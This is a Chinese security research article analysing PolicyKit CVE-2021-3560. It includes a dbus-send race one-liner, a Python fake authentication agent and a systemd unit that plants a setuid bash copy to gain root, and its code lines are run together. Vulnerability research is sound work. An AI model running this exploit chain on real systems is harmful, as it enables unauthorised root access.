
PolicyKit CVE-2021-3560是PolicyKit没有正确的处理错误,导致在发送D-Bus信息后立刻关闭程序后,PolicyKit错误的认为信息的发送者为root用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!
以上命令的作用是在发送D-Bus信息后,在一个极短的时间差后利用kill命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有sudo权限的用户。
根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:
Account Daemon——此服务用来添加用户;
Gnome Control Center——此服务会用org.freedesktop.policykit.imply修饰Account Daemon的方法;
PolicyKit ≥ 0.113。
其中Account Daemon和Gnomo Control Center在非桌面版的系统、Red Hat Linux等系统中并不存在,这无疑减小了漏洞的利用覆盖面。
但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在PolicyKit和一些基础D-Bus服务(比如org.freedesktop.systemd1)的系统中仍然可以成功利用。
在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及PolicyKit的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。
static gbooleanpolkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,guint32 *out_uid,guint32 *out_pid,GCancellable *cancellable,GError **error){// ...g_dbus_connection_call (connection,"org.freedesktop.DBus", /* name */"/org/freedesktop/DBus", /* object path */"org.freedesktop.DBus", /* interface name */"GetConnectionUnixUser", /* method */// ...&data);g_dbus_connection_call (connection,"org.freedesktop.DBus", /* name */"/org/freedesktop/DBus", /* object path */"org.freedesktop.DBus", /* interface name */"GetConnectionUnixProcessID", /* method */// ...&data);while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))g_main_context_iteration (tmp_context, TRUE);if (out_uid)*out_uid = data.uid;if (out_pid)*out_pid = data.pid;ret = TRUE;return ret;}
static PolkitAuthorizationResult *check_authorization_sync (PolkitBackendAuthority         *authority, 
                                      PolkitSubject                  *caller,       
                                     PolkitSubject                  *subject,                          
                                     const gchar                    *action_id,                          
                                     PolkitDetails                  *details,                          
                                     PolkitCheckAuthorizationFlags   flags,                          
                                     PolkitImplicitAuthorization    *out_implicit_authorization,                          
                                     gboolean                        checking_imply,                          
                                     GError                        **error)
{  
 // ...  
 user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, subject, NULL,               error);  
 
 
 /* special case: uid 0, root, is _always_ authorized for anything */  
 if (identity_is_root_user (user_of_subject)) {    
   result = polkit_authorization_result_new (TRUE, FALSE, NULL);      
   goto out;  
 }  
 // ...  
 if (!checking_imply) {     
     actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);      
     for (l = actions; l != NULL; l = l->next) {           
          // ...           
          imply_action_id = polkit_action_description_get_action_id (imply_ad);           
          implied_result = check_authorization_sync (authority, caller, subject,
                                                  imply_action_id,                                                     
                                                  details, flags,                                                      
                                                  &implied_implicit_authorization, TRUE,                                                      
                                                  &implied_error);           
          if (implied_result != NULL) {           
           if (polkit_authorization_result_get_is_authorized (implied_result)) {           
            g_debug (" is authorized (implied by %s)", imply_action_id);               
            result = implied_result;
polkit_backend_session_monitor_get_user_for_subject
check_authorization_sync -> polkit_backend_session_monitor_get_user_for_subject  -> return uid = 0check_authorization_sync -> check_authorization_sync  -> polkit_backend_session_monitor_get_user_for_subject    -> return uid = 0
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN""http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd"><policyconfig><vendor>The systemd Project</vendor><vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url><action id="org.freedesktop.systemd1.manage-unit-files"><description gettext-domain="systemd">Manage system service or unit files</description><message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message><defaults><allow_any>auth_admin</allow_any><allow_inactive>auth_admin</allow_inactive><allow_active>auth_admin_keep</allow_active></defaults><annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate></action><action id="org.freedesktop.systemd1.reload-daemon"><description gettext-domain="systemd">Reload the systemd state</description><message gettext-domain="systemd">Authentication is required to reload the systemd state.</message><defaults><allow_any>auth_admin</allow_any><allow_inactive>auth_admin</allow_inactive><allow_active>auth_admin_keep</allow_active></defaults></action></policyconfig>
polkit_system_bus_name_get_creds_sync polkit_backend_session_monitor_get_user_for_subject check_authorization_sync
static gbooleanpolkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority *authority,PolkitSubject *caller,uid_t uid,const gchar *cookie,PolkitIdentity *identity,GError **error){// ...identity_str = polkit_identity_to_string (identity);g_debug ("In authentication_agent_response for cookie '%s' and identity %s",cookie,identity_str);user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,caller, NULL,error);/* only uid 0 is allowed to invoke this method */if (!identity_is_root_user (user_of_caller)) {goto out;}// ...



import osimport dbusimport dbus.serviceimport threadingfrom gi.repository import GLibfrom dbus.mainloop.glib import DBusGMainLoopclass PolkitAuthenticationAgent(dbus.service.Object):def __init__(self):bus = dbus.SystemBus(mainloop=DBusGMainLoop())self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'self._bus = buswith open("/proc/self/stat") as stat:tokens = stat.readline().split(" ")start_time = tokens[21]self._subject = ('unix-process',{'pid': dbus.types.UInt32(os.getpid()),'start-time': dbus.types.UInt64(int(start_time))})bus.exit_on_disconnect = Falsedbus.service.Object.__init__(self, bus, self._object_path)self._loop = GLib.MainLoop()self.register()print('[*] D-Bus message loop now running ...')self._loop.run()def register(self):proxy = self._bus.get_object('org.freedesktop.PolicyKit1','/org/freedesktop/PolicyKit1/Authority')authority = dbus.Interface(proxy,dbus_interface='org.freedesktop.PolicyKit1.Authority')authority.RegisterAuthenticationAgent(self._subject,"en_US.UTF-8",self._object_path)print('[+] PolicyKit authentication agent registered successfully')self._authority = authority@dbus.service.method(dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')def BeginAuthentication(self, action_id, message, icon_name, details,cookie, identities, _msg):print('[*] Received authentication request')print('[*] Action ID: {}'.format(action_id))print('[*] Cookie: {}'.format(cookie))ret_message = dbus.lowlevel.MethodReturnMessage(_msg)message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1','/org/freedesktop/PolicyKit1/Authority','org.freedesktop.PolicyKit1.Authority','AuthenticationAgentResponse2')message.append(dbus.types.UInt32(os.getuid()))message.append(cookie)message.append(identities[0])self._bus.send_message(message)def main():threading.Thread(target=PolkitAuthenticationAgent).start()if __name__ == '__main__':main()
def handler(*args):print('[*] Method response: {}'.format(str(args)))def set_timezone():print('[*] Starting SetTimezone ...')bus = dbus.SystemBus(mainloop=DBusGMainLoop())obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)def main():threading.Thread(target=PolkitAuthenticationAgent).start()time.sleep(1)threading.Thread(target=set_timezone).start()
dev@test:~$ python3 agent.py[+] PolicyKit authentication agent registered successfully[*] D-Bus message loop now running ...[*] Received authentication request[*] Action ID: org.freedesktop.timedate1.set-timezone[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d[*] Method response: (DBusException(dbus.String('Permission denied')),)
** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cbsubject system-bus-name::1.6846action_id org.freedesktop.timedate1.set-timezonewas_dismissed 0authentication_success 000:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)
self._bus.send_message(message)os.kill( os.getpid(), 9)
** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)** (polkitd:186082): DEBUG: 01:09:17.377: OUT: errorError performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.This indicates a bug in someone's code. You must ensure an error is NULL before it's set.The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directoryError opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cbsubject system-bus-name::1.6921action_id org.freedesktop.timedate1.set-timezonewas_dismissed 0authentication_success 0
static voidauthentication_agent_begin_cb (GDBusProxy   *proxy,                               GAsyncResult *res,                               gpointer      user_data){  error = NULL;  result = g_dbus_proxy_call_finish (proxy, res, &error);  if (result == NULL)    {      g_printerr ("Error performing authentication: %s (%s %d)\n",                  error->message,                  g_quark_to_string (error->domain),                  error->code);      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)        was_dismissed = TRUE;      g_error_free (error);    }  else    {      g_variant_unref (result);      gained_authorization = session->is_authenticated;      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);    }Finishes an operation started with g_dbus_proxy_call(). You can then call g_dbus_proxy_call_finish() to get the result of the operation.
Message recipient disconnected from message bus without replying
method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthenticationmethod call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication method call sender=:1.3301 -> destination=:1.3174 serial=6 member=AuthenticationAgentResponse2 error sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply
@dbus.service.method(            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')    def BeginAuthentication(self, action_id, message, icon_name, details,                            cookie, identities, _msg):        print('[*] Received authentication request')        print('[*] Action ID: {}'.format(action_id))        print('[*] Cookie: {}'.format(cookie))        def send(msg):            self._bus.send_message(msg)        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',                                                  '/org/freedesktop/PolicyKit1/Authority',                                                  'org.freedesktop.PolicyKit1.Authority',                                                  'AuthenticationAgentResponse2')        message.append(dbus.types.UInt32(os.getuid()))        message.append(cookie)        message.append(identities[0])        threading.Thread(target=send, args=(message, )).start()        threading.Thread(target=send, args=(ret_message, )).start()        os.kill(os.getpid(), 9)
** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.This indicates a bug in someone's code. You must ensure an error is NULL before it's set.The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directoryError opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cbsubject system-bus-name::1.7428action_id org.freedesktop.timedate1.set-timezonewas_dismissed 0authentication_success 1
$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1...  interface org.freedesktop.systemd1.Manager {      ...      StartUnit(in  s arg_0,                in  s arg_1,                out o arg_2);      ...      EnableUnitFiles(in  as arg_0,                      in  b arg_1,                      in  b arg_2,                      out b arg_3,                      out a(sss) arg_4);      ...  }...
[Unit]AllowIsolate=no[Service]ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'
def enable_unit_files():   
    print('[*] Starting EnableUnitFiles ...')    
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())    
    \obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')    
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')  
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)
dev@test:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)
static voidpolkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority *authority,PolkitSubject *caller,PolkitSubject *subject,const gchar *action_id,PolkitDetails *details,PolkitCheckAuthorizationFlags flags,GCancellable *cancellable,GAsyncReadyCallback callback,gpointer user_data){// ...if (polkit_authorization_result_get_is_challenge (result) &&(flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION)){AuthenticationAgent *agent;agent = get_authentication_agent_for_subject (interactive_authority, subject);if (agent != NULL){g_object_unref (result);result = NULL;g_debug (" using authentication agent for challenge");authentication_agent_initiate_challenge (agent,// ...goto out;}}
这里检查了Message Flags的:
https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4
https://gitlab.freedesktop.org/RicterZ/dbus-python
PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> Nonen"
"Set allow interactive authorization flag to this message.n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{  
  int value;    
  if (!PyArg_ParseTuple(args, "i", &value)) return NULL;    
  if (!self->msg) return DBusPy_RaiseUnusableMessage();    
  dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE); 
  Py_RETURN_NONE;
}
同时这项修改已经提交Merge Request了,希望之后会被合并。
def method_call_install_service():    time.sleep(0.1)    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')    message.set_allow_interactive_authorization(True)    message.set_no_reply(True)    message.append(['/tmp/{}'.format(FILENAME)])    message.append(True)    message.append(True)    bus2.send_message(message)

https://github.com/RicterZ/CVE-2021-3560-Authentication-Agenthttps://github.com/WinMin/CVE-2021-3560
https://dbus.freedesktop.org/doc/dbus-python/https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.htmlhttps://libsoup.org/gio/GDBusProxy.htmlhttps://www.freedesktop.org/software/polkit/docs/latest/https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
本文作者:酒仙桥六号部队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/181149.html
必填 您当前尚未登录。 登录? 注册
必填(保密)